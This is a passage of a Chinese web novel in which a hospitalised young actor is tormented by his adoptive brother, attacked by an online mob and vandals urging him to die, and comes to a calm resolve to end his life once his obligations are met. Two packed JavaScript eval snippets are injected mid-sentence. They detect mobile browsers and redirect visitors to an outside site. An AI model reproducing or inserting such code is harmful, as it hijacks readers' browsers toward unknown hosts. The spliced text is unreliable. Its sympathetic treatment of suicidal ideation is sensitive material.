他皱着眉,拇指狠狠压过他泛紫的嘴唇,竟然又有一道淡红色的液体从他的嘴角滑出来,沾在他手指上。 随着他玩弄破娃娃般粗鲁的动作,沈陌遥的睫毛惯性一样又往下垂了垂,将眼睛彻底遮挡,好像连鼻息都消失了。 不知怎么,沈凌夏盯着他毫无生气的脸,忽然想起小时候被姜瑾偷偷带出家门,在一处即将被拆除的老旧剧场观看告别剧目结束时的场景。 那时随着渐弱的音乐自舞台上降下的漆黑帷幕,就像此刻仿佛落在他掌心的羽睫。 一旦合上,好像就再也不会有重新揭开的一天。 16. 恶意 从一片混沌中醒来时,首先映入沈陌遥眼帘的是灰白色的天花板。 他眼皮颤了颤,下意识想要活动身体,却发现四肢像是被灌了铅,脑子里也仿佛被塞了个铁块。他昏沉得厉害,不太想得起来之前发生了什么,甚至出现片刻“我是谁”一般的茫然。 “四天了,你终于舍得醒了。” 倏然间,一道凉薄的声音贴着他耳廓传来,音调不高,却仿佛细密的冰锥刺在他裸露在氧气罩之外的脸侧,“私立医院的单人加护病房可不便宜,你再这样躺下去,我可负担不起。” 沈陌遥对这道声音有下意识的抵触心理,在听到后不知哪来的力气,竟然条件反射一般撑起身子往病床角落缩,肩膀支起来显出锁骨嶙峋的轮廓。 他呼吸急促,单薄身躯在宽松病号服下微微发颤。 “冷静点,亲爱的二弟。你必须接受事实——是我把你送来的医院。” 沈凌夏站在床边,冲他露出一个讥讽的笑。 “我亲自开车把你带过来的时候,你在我的后座上又吐了血水,你知不知道?” “那可是我刚提一个月的新车,结果车座和地毯上都被你搞得脏兮兮的,到现在还有一点淡淡的血腥味,恶心死了。” “你说说,你欠我这么多,该拿什么赔我?” 他走近俯身,看到床上的人脸色重新变回躺在ICU那两天那样惨白衰败,床边的监护仪很快开始滴滴作响,就要发出警报。 他挑眉,慢条斯理地伸出细长的手指把贴在沈陌遥苍白干瘦的胸膛上的电极片和夹在手指上的血氧全部摘掉,动作堪称轻柔。 “别激动。你如今虚弱成这样,没人关心没人爱,哪里也去不了,不如咱们兄弟俩趁着没人打扰,心平气和聊一聊。” 不知道他这句话哪儿把沈陌遥给说动了,又好像是根本没有听进去任何话,他呼吸逐渐平复,掀起眼睫扫了扫身上的条纹病号服,顺着纯白的被褥又看向床边的吊瓶和各种仪器,漆黑眼仁中却没有什么情绪,像个正在识别场景的机械。 又过了一会儿,他那如同被拉开的弓一般紧绷着的脊背也逐渐松懈下来了。 “为什么要救我?” 沈陌遥勉力抬手摘下氧气罩,他昏睡了很久,抢救时还被插了两天呼吸机,又正在发烧,此时嗓子干涩沙哑得几乎听不出原本的声音,好像海边混在沙子堆里的石砾。 沈凌夏对他的提问似乎感到异常满意。 “哎呀,别把大哥想的那么坏。” 他堪称温和地笑了笑。 “我可从来没有想过让你死。” 不谈个人感情,如果就这样在剧组闹出人命的话,不但会影响整个电视剧项目的风评,也会影响作为合作方,甚至有一名签约艺人参演的光曜传媒。 更不要说,他从一开始就没想让沈陌遥死。 相比于痛苦地活,死是一件太过容易的事。 “所以你看,你怎么能轻易地死掉呢?” 沈凌夏喃喃。 几天前那场危急万分的抢救结束后,医生走出来和他谈情况时,除了告诉他沈陌遥有严重的肺部感染伴随肺出血和呼吸窘迫,心肺情况都很差,还额外提了一句。 “本次抢救中,我们注意到患者的求生意识不是特别强烈,在他苏醒后作为家属需要及时关注他的精神状态。” 当时的沈凌夏先是做出一副伤怀悲悯的样子,转而感激地握住医生的手:“谢谢你们把他救下来,感谢你们的付出,我会注意。” 等到医护都离开后,他一个人站在急救室阴冷空落的走廊,才终于抖着肩膀发出几声压抑很久的笑。 他等沈陌遥身心崩溃的这一天等了很多很多年,而现在,在他的不懈努力下,这个目标终于要达成了。 隐约的震动声响起打断回忆,沈凌夏拿过口袋里的手机扫了一眼,脸上很快浮现饶有兴味的微笑。 “喂?爸,是我。” “嗯,我就在小陌身边——您要直接和他说话吗?” “来吧,总算有个人主动关心你了,是不是?”他按住麦克风,凑到沈陌遥耳边说着,而后把手机塞到他手里,意味深长般拍了拍他的肩,转身离开病房。 “小陌,你和爸先聊着,我不打扰你们。” 沈陌遥低头盯着屏幕上的三个字看了很久,闭上眼呼出一口气,把手机举到耳边。 “爸。” “凌夏说你因为落水受了点刺激,就擅自跑去医院疗养去了?你都是快25岁的人了,为什么还这么任性?” “你知道你不打一声招呼就消失的这几天给剧组带来了多大的损失吗?你知道现在媒体是怎么说你的吗?” 沈陌遥眨了眨眼,没什么反应,好像自苏醒以后被塞在脑子里的那块铁还没消失,所有先前的记忆都被压在它下面,即使他极力去回想也只能获得零星的碎片和很多很多的疼痛。 “怎么说的?” 他下意识跟着问了一句。 “……沈陌遥,这么多天了,你完全没有关注新闻吗?闯出这么大的祸,自己倒是找了个好地方躲得远远的,你究竟有没有一点做人的良心?” 沈陌遥又眨了眨眼。 他好像过了很久才逐渐理解沈厉峥的话,又花上了两分钟拿过自己的手机,点开微博大致浏览了一番。 甚至都不需要主动搜索。 #沈陌遥叶溪拍摄中发生意外、#沈陌遥故意推人、#沈陌遥自私、#沈陌遥落水后失踪、#浪潮剧组公开声明一类的词条正赤裸裸挂在主榜热搜上。 “所以父亲。” 沈陌遥垂眸等待那些借着热搜词条逐渐从铁块下面浮现的记忆碎片在脑海里拼凑成一个大致的轮廓,很快将手机熄屏。 漆黑的屏幕里映出一张因为长时间挂营养液而消瘦憔悴的脸,于是他又把自己的手机拿远了些。 他的声音依旧很哑。 “您找我,也是为了和网上那些人一样声讨我吗?” “那倒不是。”这回沈厉峥回答得干脆利落,“但是和这些舆论有关系。由于你最近的风评太差,会对盛天的股市产生负面影响……我和董事会一致认为,把先前由你管理的两个子公司交给凌夏比较合适。” 沈陌遥终于有了比较大的反应。 他嘴唇抿了抿,手指在被单上蜷起来握成拳,身体重新变成紧绷的姿态。 “不行,爸。” 他的语气比仍然像是蒙了一层雾一样的眼眸坚决得多,仿佛是一种下意识的反应。 “难道你忘记了吗?那两个公司的核心项目都源自小阡的想法。” 那是他妹妹的东西,谁也不能夺走。 “所以呢?凌夏和我们早就是一家人,源自小阡想法的项目就不能让他来管理吗?” 沈厉峥的语气逐渐不耐。 “沈陌遥,你究竟为什么这么讨厌凌夏?” “我作为一个和他没有血缘关系的父亲,这些年来都早已被凌夏的优秀深深折服了。” “而你,沈陌遥。” “我真的不明白,为什么你总要站在他的对立面?” 沈厉峥在电话那头叹了一口气。 “他对你的包容、对你的爱护,我从来都是看在眼里的,你却总是视若无睹。” “你们可是拥有着一半相同血缘的至亲啊,为什么会有这样的恨?” “……是啊。” 沈陌遥应了一声,睫毛垂下来,嘴唇翕动间说出来的话轻飘飘如同一戳就破的泡沫,似是茫然的重复,又像是一种长久的困惑。 “为什么会有这样的恨?” · 沈陌遥不喜欢沈凌夏。 在沈家,这是所有人默认的事。 但要是有吃瓜人随口问上一句“为什么”,沈家上上下下从主到仆的男女老少恐怕只会干巴巴地说上一句诸如“肯定是嫉妒他比自己受宠”、“一定是他看不得大哥处处比自己优秀”、“很显然他看不起过继来的孩子”一类的话,但是谁都无法提供任何证据确凿的定论。 他们只当沈陌遥生来就是品行恶劣,心胸狭窄的人,而在沈凌夏来到沈家之前的那些年月,他把这些惹人生厌的个性藏得很好,看上去只是一个天真烂漫,略有娇纵却足够温良的小孩。 但是沈陌遥对这份厌恶诞生的源头却无比明晰。 …… 在遇到沈凌夏前,他一直不相信世界上会有那样纯粹的,令他无法理解却扑面而来的恶意。 那是十四年前,妹妹被医院宣布为脑死亡的那段日子。 他在那起事故中也受了伤,被诊断为肺炎和脑震荡,连着发了好几天高烧,虽然人意识清醒却被要求住院观察治疗。 那时他还不知道在害怕担责的保姆口中,他已经成了那个害死妹妹的罪魁祸首,不再是那个集千万般宠爱于一身的沈家少爷;也不明白被宣布处于脑死亡状态的妹妹等同于被判下有少许缓期的死刑,以为她正处在命悬一线的关键时期,家人们正为此忙里忙外,焦头烂额,自然无暇再顾及自己的小病小痛。 因此他努力坚强,尽管内心抗拒,每次扎针或检查都会对护士姐姐露出甜甜的笑,到了深夜却在病床上蜷缩成一团,想念弟妹叽叽喳喳的欢笑和父母温暖的怀抱,也会因为没能保护好妹妹而感到自责,躲在医院满是消毒水味的被褥里偷偷掉眼泪。 他期待妹妹的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14281038|151833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现,期待所有家人的出现,可无数次听到脚步声时,望向房门口的期盼都会随着医生或护士的身影出现而落空,他逐渐也感到麻木,进而产生一种可能失去妹妹的恐惧,以至于彻夜辗转反侧,难以入眠。 这种情绪有所缓解是在外祖母来看望他几次之后。 她温柔地摸着他的头发告诉他,妹妹只是被暂时叫去天上给神仙当端水小童去了,要是想她了,可以看着天上的星星和她说说话,她能听见。 于是他在那段异常难熬的时光里有了少许的慰藉。 在那之后,他在每个有力气活动的夜晚都要溜出病房,跑去住院部一楼中央的小花园里的木头长椅上曲腿坐着,看着星空给妹妹读她最喜欢的故事书,若是被护士拦住或是实在没精神,就坐在病房窗边和她聊天,也在念完后认真向神仙祈祷,赶快把妹妹还给他。 他就是在那座小花园第一次见到沈凌夏。 那天夜里,他正读着故事书,一个身穿黑色休闲西装的薄嘴唇男孩远远从一侧的楼梯上走下来,踏入小花园走向他。 许久未见的父亲竟跟在他身后,脸色憔悴,下巴上青色的胡茬凌乱,手里还夹着一只未燃的烟。 他还没来得及因为见到许久未见的父亲而感到欣喜,沈厉峥却面色冷淡地率先冲他开口。 “你在这里的话正好,认识一下凌夏。以后,他就是我们的家人了。” 他拍拍身边站着的男孩的肩,男孩也扭头冲他笑的乖巧,连连点头。 “你好,很高兴见到你,我是凌夏。” 沈厉峥离开后,薄嘴唇男孩微笑着朝他试探般伸出手,“我以前和我父亲生活在一起,不过现在他快死了,没人照顾我,外公就让我住到你们家。” “你好,我叫沈陌遥。” 他犹豫了一会儿,虽然因为男孩对于父亲病危过于平静甚至有些冷血的陈述而感到奇怪,也并未意识到他所说的外公就是查尔斯,礼貌和教养还是让他回握住男孩的手。 “很高兴认识你。在家爸爸妈妈会喊我小陌,你……你应该比我大些吧?愿意的话,你也可以这么喊。” “嗯,很特别的名字。”男孩兀自低声笑了起来,狭长的眼睛带了点关切看向他,“小陌,看你的衣服,应该还是个病人吧?晚上风很凉,你一个人在这里做什么?” 他听着几句久违的关心,忽然感到鼻头一酸,薄嘴唇男孩极为敏锐地捕捉到他那一点儿类似于委屈的情绪,在他身边坐下,伸手轻拍他的背。 人的感情一但开始决堤就难以再克制着收回,何况他当时尚且年幼单纯,便把那些天发生的事情,自己的心情以及来到小花园的原由全部向薄嘴唇男孩毫无保留地倾诉而出。 “真感人……”男孩发出平静的感叹,他漫不经心般侧头,瞥见从消防通道回到医院内部的憔悴男人,声音悄然间大了些。 “这太让人难过了。但你放心,神仙都是很心软的。我会和你一起祈祷,他们会听见的,小陌。” 他随即站起身,从口袋里掏出一块崭新的方帕,“我要走了,这个给你。” “嗯,谢谢你。”他接过男孩递来的手帕拭去眼角不断滑出的泪,使劲点头,“我也相信神仙会听到的!” 但是神仙没有听见他的祈祷。 在他给妹妹读了五晚故事后的那个中午,医生把白布盖在她的脸上,将她推出病房。 他的母亲开始歇斯底里地大哭,父亲脸色铁青撑着她摇摇欲坠的身子,外祖母的脸色肉眼可见的苍白下去,由外祖父扶着,悲戚地拉着轮床,年幼的弟弟不明白发生了什么,只是茫然地被佣人抱在怀里,圆溜溜的眼睛看着轮床远离的方向,嘴里还在喊姐姐。 他独自站在走廊的阴影里,感觉周身的一切仿佛被按下静音键,场景和人物忽然开始慢放着缩小,离自己越来越远,只剩一个朦胧的轮廓。 后来再恢复意识的时候已经是深夜,他独自躺在熟悉的病房里,身边除了滴答作响的监护仪器之外安静的可怕。 他意识尚未完全清明,下意识看向窗外的夜空,挣脱管线坐起身,试图寻找之前一直被自己视作寄托的那颗星星。 一个身影倏地遮蔽了他的视线。 那个几天前见到的薄嘴唇男孩鬼魅般出现在他床边,俯身在他耳边低语。 “沈陌遥,你的妹妹已经死了。” “死人是死人,星星是星星。” “你明白吗?我是说,这个世界上根本不存在什么神仙。” 他的声音清亮,带着轻微的沙哑,在他听来却森寒如同念咒的恶鬼。 “你的妹妹不会变成星星。” “她已经死了,是被你害死的。” 17. 流离 和沈厉峥通话的后半程,沈陌遥就没有什么记忆了。 可能是那场父子间久违的对话实在是过于让人疲惫,又或许是失血太多,他在之后的时间里几乎一直在昏睡,醒来的时间少之又少。 在加护病房里又躺了三天后,经过治疗,他身体的各项指标总算都远离了危险值,人也恢复了一些精力,被批准转到普通病房。 于是,靠着对医院环境的充分了解和对医护人员装乖的充足经验,在转入普通病房的第二天清晨,沈陌遥独自一人溜出了医院。 他的目的地很清晰——《浪潮》剧组。 住院的这几天,他手机的未读信息数量达到了一个极为可怕的数字,其中以秦玥的狂轰乱炸最甚,其次便是导演组一次比一次不耐的催促返工。 其中,梁森炜亲自发来的一条消息尤为显眼,只有短短的一句话。 “我对你很失望。” 沈陌遥坐在网约车后排,垂眸注视那条短信。 在试镜会当天,他曾亲口对导演组说,绝不会因为个人情况而耽误拍摄。 他食言了。 就连为了守护妹妹的想法而一手管理的文创游乐园和原创ip项目,如今也因为他这个代表公司形象的总经理负面新闻缠身,在全面落地前面临被撤资的境地。 他终究是辜负了很多人,最后不仅连自己的目标都完不成,答应过妹妹的事情也做不到。 是他没用。 心脏像是被铁线一圈圈缠绕着勒紧,沈陌遥胸口紧绷着痉挛了一下,又扯到锁骨下面那截还埋在身上的管子,疼得他肩膀直颤。 他狼狈地揪住胸前衣襟,发出一声微不可闻的呜咽,冷汗很快从额头上冒出来。 他已经几乎拼尽全力了。 但是好像到最后,事情总会朝着他不愿见到的方向发展。 他什么都没能做好。 沈陌遥眼睫颤了颤,放任汹涌着出现又无法克制的颓然在心里流窜,逐渐将自己包裹成一个透明的茧。 转出加护病房时,医生曾语重心长地说,他肺部炎症伴随出血的情况很严重,被送来的时候甚至出现了失血性休克,好不容易才把他救过来,让他一定好好爱护身体。 当时的他虽然有乖乖点头,下意识的反应却是有些遗憾。 其实,如果能就那样死掉,对自己而言也算是一件轻松事。 单论这点而言,沈凌夏倒是说的没错,死远比痛苦地活要来的轻松。 但他记得外婆说过,人活在世上,哪怕来去之间孑然一身,也好过留下任何亏欠。 所以在死之前,至少他想把亏欠的事都尽力去弥补。 那就……再撑一下吧。 最后一次。 沈陌遥在心脏的位置按了按,安慰自己。 只要做完这些,他就可以奖励自己去找外婆和妹妹。 · 为了符合电视剧的时代背景,《浪潮》所进行的邮轮实景拍摄租用的是一艘上个世纪制造的小型沿江邮轮。 它在当年就造价不菲,如今更是被池璟收藏在私人航海博物馆,制片人刘枫花了好一番功夫才从他们手中获得五天的租借权。 因此,沈陌遥的消失导致商渡最关键的那场戏没能按计划拍摄,而邮轮延期归还需要支付的违约金太高,无奈之下,梁森炜只能优先将其余在邮轮上进行的拍摄完成,又用替身拍摄了坠江部分的戏,如期将邮轮归还。 至于没能顺利拍摄的坠江之前的那部分内容,剧组退而求其次选择在影棚补录,配合后期制作完成。 回到剧组后,沈陌遥第一时间找到刘枫,表示因为耽误了拍摄进程,他自愿放弃电视剧的片酬,并且后期宣发的时候也不用带上自己的名字,避免给电视剧带来负面影响。 商渡剩余的戏份并不太多,沈陌遥回归后,住在剧组断断续续拍摄了五天便杀青了。 他的最后一场戏是在霖市拍摄的。 这些天,萧宵临时有事请假回了老家,秦玥又称公司因为奏乐青春2进入了拍摄前的准备阶段,抽不出人手,沈陌遥回归剧组后就一直是孤身一人。 “恭喜沈老师杀青。” 最后一场戏是副导演负责指导拍摄的,因此梁森炜并没有到场。 在导演助理干巴巴的声音中,他没有拿到鲜花,也没有得到掌声,周围的剧组工作人员们和演员们只是远远看着他,形成一个包围但拒绝接近的隐形圆圈,和那天在寒冷的江边如出一辙。 沈陌遥沉默着朝剧组鞠了躬,脚步略微虚浮地离开片场。 他对如今的境遇并不意外。 落水事件发生后的第一时间,叶溪带着#沈陌遥故意推人这一词条发了一条微博。 在那条视频中,他披着浴巾、捧着热水向大家报了平安,转而表示:“经过这次命悬一线后,我决定勇敢一回,曝光一些事。” 紧接着,他公开了一段说是为了给vlog积累素材而恰好录制到的视频。 第一视角的镜头中,沈陌遥在等候试镜时冷着脸无视了叶溪友好的伸手。 叶溪表示,自他进入剧组以来,就一直遭到沈陌遥的欺凌,最后甚至在明知他不会游泳的情况下害他落水,差一点就丢了性命。 他在描述时眼睛红的像一只小兔子,俨然一副泫然欲泣的模样,令人看了无一不心生怜爱之情,又有证据确凿的录像加持,沈陌遥也就顺理成章地成了所有人声讨抨击的对象。 杀青后,沈陌遥时隔近一个月重回在霖市租的公寓。 年轻的司机也许是认出了他,看向他的眼神中充满了鄙夷,在离公寓有一段距离的路上就将他赶下了车。 许是先前的连续拍摄太劳累,他头脑有些昏沉,还没意识到发生了什么,直到脸颊上出现细小冰凉的触感,才发现天空中下起了雪。 于是他麻木地迈开腿,在细雪里晃晃悠悠朝公寓走。 不知走了多久,天色逐渐暗沉,道路两旁的路灯都逐一亮起来。 走到公寓楼下的时候,沈陌遥看到三两个神色紧张,略带不知所措的女孩子蹲在路边研究手机里的地图,像是迷了路。 下了雪的傍晚很冷,他看着女孩子们被冻得通红的手,还是没能做到无动于衷。 他走近她们,把脸上的围巾拢了拢,轻声开口询问。 “需要帮忙吗?” “啊,没什么事,我们就是在找沈陌遥的家。” “我们加了溪宝的应援群,群里有人搞到了那个杀人犯的地址,在组织线下anti,但我们来迟了,和大部队错开了。” “小哥哥你也是群里过来的吗?咱们要不要一起——” 女孩子们叽叽喳喳说着,终于把视线转到发出询问的黑发青年身上,却在看见他乌黑的眼瞳时不约而同倒吸一口气。 “沈,沈……” 她们脸上出现尴尬的表情,互相拉扯着连连后退,短靴在雪地里踩出轻微的嘎吱声,很快飞速跑开了。 杀人犯? 是在说他吗? 沈陌遥有些茫然,好像在一瞬间对这个词的定义产生怀疑,他忽然有些耳鸣,心脏在胸腔沉沉地跳了两下,恍若雷鼓。 他浑浑噩噩走上楼来到走廊,一抬眼,又是一怔。 他家防盗门的门锁被人暴力砸开了,门虚掩着,露出的一条缝也能隐约瞥见屋里的凌乱。 “杀人未遂”、“职场霸凌”、“仗势欺人”错落着被用颜色鲜亮到刺眼的喷漆写在他家门口的防盗门上,密密麻麻,几乎把整扇门都填满了,家里的为数不多家具也全部被掀翻,唯一值钱的一些小摆件并没有被带走,而是被粗暴地摔在地上。 沈陌遥愣了一会儿,弯腰捡起地上掉落的被踩瘪了的蓝色喷漆。 他把它攥在手里,用了一些力气将它瘪下去的口子啪地一声按回来,然后从最高处的侮辱性词语开始一路往下喷,把它们全部重新遮盖住。 “我没有做这些事。” “我不是杀人犯。” 他按着旋钮的指节发白,整条手臂都在抖,嘴里认真重复着不知道在说给谁听的话,动作却没有停。 胸口输液用的管子还没摘,他的动作一旦太大就会扯着疼,每一次抬手都是极为艰难且费力的事,时间一长连带着心跳都会急促起来,难受极了,因此每喷完一行字他都要停下来靠在墙上歇上一会儿,回复体力。 一扇不大的防盗门,他喷喷停停,硬是花了快一个小时才快要喷完。 最后,蹲下来准备喷掉门最下面的字时,沈陌遥的动作顿住了。 先前由于站立的角度,他并没有将门上的字看完全,如今半蹲着平视大门的正下方,他才恍然发现那里写着两行鲜红色的大字。 我对你太失望了。 去死吧。 沈陌遥呼吸一窒。 他感到一阵猛烈的眩晕,眼前的景象像是被泼了颜料的泳池打开抽水口,眨眼之间,所有的色彩在旋转中朝着中央的孔洞流失了。 放胶片电影一样,他的眼前闪过很多灰白的画面。 葬礼上,妹妹在画框里冲他笑,画框外的所有人都在哭,查尔斯经过烧得站不稳的他,失望地摇了摇头。 选秀决赛那天晚上,他一路咳喘着跑到医院急救室的走廊,沈厉峥迎面一个巴掌扇在他的脸上,质问他为什么没接外婆的电话。 回到沈宅的那天中午,姜鹤从房间里冲出来扑向他,死死掐住他的脖子,歇斯底里地吼叫着,说他不是自己的儿子。 江边水泥路的中央,沈佑麟像看垃圾一样俯视他,一根一根掰开他的手指,告诉他自己希望他去死,再也不要见到他。 …… 沈陌遥将头抵在门上等待这阵眩晕过去,花了一点时间找回自己的呼吸。 这些天来,他已经逐渐习惯了这样的感觉,甚至在头脑昏沉时也忍不住会想,自己可能确实是新闻里说的,十恶不赦的罪人。 或许他生来就注定被憎恶,不配得到任何人的认可和喜爱,有他在,只会给别人带来无穷尽的伤害。 这样的想法伴随那些噩梦般的灰白画面和声音,顺着他体表的肌肤攀附缠绕,雾气般无孔不入。 仿佛置身于深黑的泥沼之中,他找不到退路,更找不到出口,只能放任自己一点一点在黏腻肮脏的液体中下沉,下沉,直到被腐臭的污泥灌满口鼻,在窒息中沉进一片漆黑的地底。 不知道过了多久,等到意识归位,视线重新恢复清明后,沈陌遥垂眼在那最后的三个字上逗留片刻,放下了手中的颜料罐。 他没有再试图继续喷颜料来遮盖那三个字,只是定定看着他们,忽然弯起唇角极浅地笑了一下。 “放心吧,很快的。” 很快,就会如你们所愿。 他的声音很轻,一说出口就散在廊外安静的雪中,脸上神情却很平静,眼眸中也没有任何沉重或哀伤。 就像只是做出了一个让自己感到轻松的承诺而已。 外面的飘雪逐渐变大了。 霖市已经很久没有下这样大的雪,上一次恐怕还要追溯到四五年前。 沈陌遥知道,自己已经不能够住在这里了。 他给邻居添了这样的麻烦……对了,还得联系房东赔偿损失才行。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14281039|151833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,现在该到哪里去呢? 他有些茫然地眨眼。 仔细一想,他在这座偌大的城市之中打拼了这么多年,到头来,却连一个容身之所都没有。 实在不行,就睡在车里吧。 他的车子虽然不算新,但是很能跑,即使被什么人发现了要追着骂,他只要一脚油门下去,一定能把他们甩开。 如果再被发现,就再踩一脚油。 沈陌遥被自己突如其来的想法逗乐了,他有了一点精神,顺着记忆往停车位走,他的车安静停在路边,漆黑的车身上已经积了薄薄一层雪。 打开车门准备上车的时候,他忽然听见车底传来一阵细微的叫声。 尖尖的,有些嘶哑,他扶着车门慢慢蹲下来,把头凑近车底下看了看。 车底盘的凹槽里趴着一只瘦巴巴的灰色小猫。 看见他的身影,那小猫竟然主动从底盘跳了下来,歪歪扭扭朝他走过来。 它凑近他,试探着又喵了一声,抖着细瘦的四肢朝他的脚上小心翼翼拱了拱。 “……是吗。”沈陌遥的眼瞳颤了颤。 “你也……没有家了吗?” 他俯下身去,用手贴近小猫有些秃毛的脑袋。 小猫在他手心蹭了蹭。 “那,要不要先跟我走?” 其实他很清楚,即使他的状态不像现在这么糟,身为哮喘患者的自己也是并不适合养宠物的。 但是至少在这一刻,他做不到拒绝一只主动愿意靠近他的小猫。 “这样也好。至少这样我也能……” 也能暂时和你组成一个家。 他把小猫揽进手心,像是试图互相取暖,尾音就像落在掌缘的雪,很快融化成潮湿柔软的痕迹。 沈陌遥回到公寓里拿了一点日用品和食物,把小猫护在怀里走回车上。 雪落在脸上很凉,小猫在他怀里喵喵叫,他坚持着一步一步走回车里,把小猫放在副驾,解下围巾把它围起来。 他朝手上哈了哈气,搓了搓,为了以防万一,发动车子前还自觉地喷了一点扩张剂在喉咙里,靠着椅背缓了一缓。 他伸手捋了捋小猫毛发凌乱的背,也许是手指太凉,小猫又冲他喵了两声。 “别怕,我会带你找到家的。” 沈陌遥对它笑了笑。 若是只有他自己,在车里凑合住下去倒不难,但是他不想让小猫跟着自己受委屈。 所以,他改变了主意。 他得替自己和小猫找到一个暂时的容身之所……这是首先。 然后呢? 大脑中忽然空白一片,沈陌遥歪歪脑袋,打开手机备忘录看了一眼。 嗯,然后,他要想办法把计划清单上的第二条完成——获得足够的钱,让两个子公司的项目能够顺利落地。 那么现在。 “得去重新租个房子啊……” 他在雪中很慢,很慢地开了一段,却发现视线变得越来越模糊。 起初他还以为是被雪水蒙了眼睛,反复拿袖子蹭了半天,却依旧看不太清,身体也逐渐变得灼热起来。 然后他才反应过来,自己好像在发烧。 也可能不只是发烧,他的心跳也变得越来越快,有很重的血腥味顺着他灼热的呼吸往上涌,好像有一块满是尖刺的烙铁被塞在肺里翻滚,一路灼烧着刺破他的内脏。 不太妙。 要尽快找到地方住才行。 …… 好像人一旦发烧,脑子就跟着坏掉了。 沈陌遥站在昏暗的街灯边,看着房屋中介一片漆黑的店铺玻璃上倒映出自己隐约的侧脸,自嘲般笑了笑。 他可真傻,现在已经是晚上九点多了,又要到哪里才能找到愿意把房子租给自己的人。 雪越下越大了。 街道上一片空阔,沈陌遥在原地站了一会儿,眼睫上很快积了一层轻雪,这次他没有再把它们抹去,只是放任越来越多的雪花飘进他的额发间,又很快被他皮肤滚烫的温度融化,变成一道又一道浅浅的水痕。 他只是轻微眨动眼睫,那些水痕就顺着他微微上扬的眼尾滑落,像一滴泪。 先离开这里吧。 沈陌遥扭过头,跌跌撞撞往车边走,却很快停下了脚步。 在他车子的不远处,站了一个身穿黑衣的人影。 那个人似乎已经在那里站了一会了,肩膀上也积了一层雪。他看见沈陌遥走过来,很快朝他伸手,衣领间的雪粒随着动作扑簌簌落下来。 他戴着黑色手套的手中是一张薄薄的卡纸,上面隐约写着一串地址。 难道是租房的人吗? 沈陌遥的意识陷在一片混沌里,整个人晕晕乎乎,看不清眼前的人,也听不见他说了什么,只是下意识伸手去接那张卡纸,伸到一半却忽然掩唇咳得停不下来,唇瓣间溢出红色的血。 血顺着指缝淅淅沥沥流下来,落到纯白的雪地,顺着细小的冰晶颗粒蔓延成浅红色,还有一两滴很不凑巧地溅落在男人递出的卡纸上。 ……坏了,肯定要吓到他了。 好好的忽然吐血了不说,还把人家递出来那么漂亮的一张卡纸搞脏了。 看来之前不该偷懒的,还是得买点止血药吃。 沈陌遥眼睫颤了颤,觉得力气好像随着咳出来的那一点儿血一并消失了,连带而来的还有愈演愈烈的眩晕感,眼前的一切好像被越来越多的雪花点点覆盖。 在最后残留的视线中,他看男人丢下卡纸朝自己伸出手。 他掀了掀嘴唇,抱歉的话还没来得及说出口,眼前就蓦地黑下去。 18. 麻木 第二天下午,沈陌遥在一张陌生的大床上睁开眼睛。 四周的墙壁都是温和的米白色,橙金色的阳光透过厚实的窗帘照在床尾毛茸茸的软枕上,像块芝士蛋糕,加湿器在床边轻轻地响。 人都对未知的环境都有下意识的不安和抗拒,但这间屋子的陈设过于温馨静谧,让他禁不住想起那段和外祖母居住在美国的日子,甚至怀疑眼前的一切只是一场一碰就碎的幻梦,直到脸颊蹭过绒被传来柔软蓬松的触感,才发觉正身处现实。 沈陌遥打量了一下自己的身体。 他应该是又谁被治疗过,体温已经不再滚烫,右侧锁骨下方埋的那根输液管也不见踪影,崭新的纱布和敷料被规整地覆在伤口上,手腕上却多了根留置针的管子。 他盯着身上深蓝色的丝绸睡衣发了会儿呆,靠在床头喘匀呼吸,试图从脑子里捋出一点儿之前的记忆。 昨晚下了挺大的雪,他开车来到租房中介的店铺,却发现那里早就关门了,空无一人。 他想着先回到车子里和小猫待在一块儿,却不知怎么咳了起来,意识也变得模糊,指尖很快传来咸腥的味道。 再醒来时,就到了这个陌生的房间。 ……糟了,小猫! 沈陌遥倏地瞪大眼睛,他很快掀开绒被站起身,却高估了自己的身体状态,刚下地眼前就陷入一片黑,随之而来的是一阵天旋地转和愈演愈烈的心慌。 他按着心口踉跄半步,跌坐在床边,蹙眉等待眼前那片小蚂蚁慢慢爬开,视线落正巧在床头的矮柜上,神色一怔。 一张浅蓝色的纸片静静躺在那里,被压在他的手机下面。 沈陌遥伸手拿过那张纸。 纸上有股很好闻的木香味,正面用钢笔写着两行字,笔锋凌厉,字体劲瘦。 “你的衣物被暂时放在衣帽间。放心住,租金你在四年前已经付过。” 他趴到床尾,对着阳光逐字将纸上面的话慢慢念出,嗓子有一点沙哑。 “另,你的小猫在隔壁房间,他胃口很好,很健康。” 两句话的右下角,落款是一个花体的大写字母Y。 这是谁写给他的? 好像……那天晚上确实有一个人站在自己面前。 个子很高,黑衣服,戴手套。 别的细节就想不太起来了。 沈陌遥指尖在纸上磨蹭两下,眨眨眼。 这段留言是那个人写的吗? 但是,什么叫“租金你在四年前已经付过”? 他茫然重复了一遍这句话,心里找不到答案,但这些天来他没想明白的事情很多,也并不差这一件,于是他把那张纸平整放进透明手机壳的背面,没再纠结。 等待眩晕和心慌感都逐渐褪去后,他再次站起身。 毛绒地毯被一路铺到门口,在地暖的加持下即松软又温暖,光脚踩上去像是踩在棉花糖上,沈陌遥一路走到门边,穿上拖鞋,缓缓打开房门。 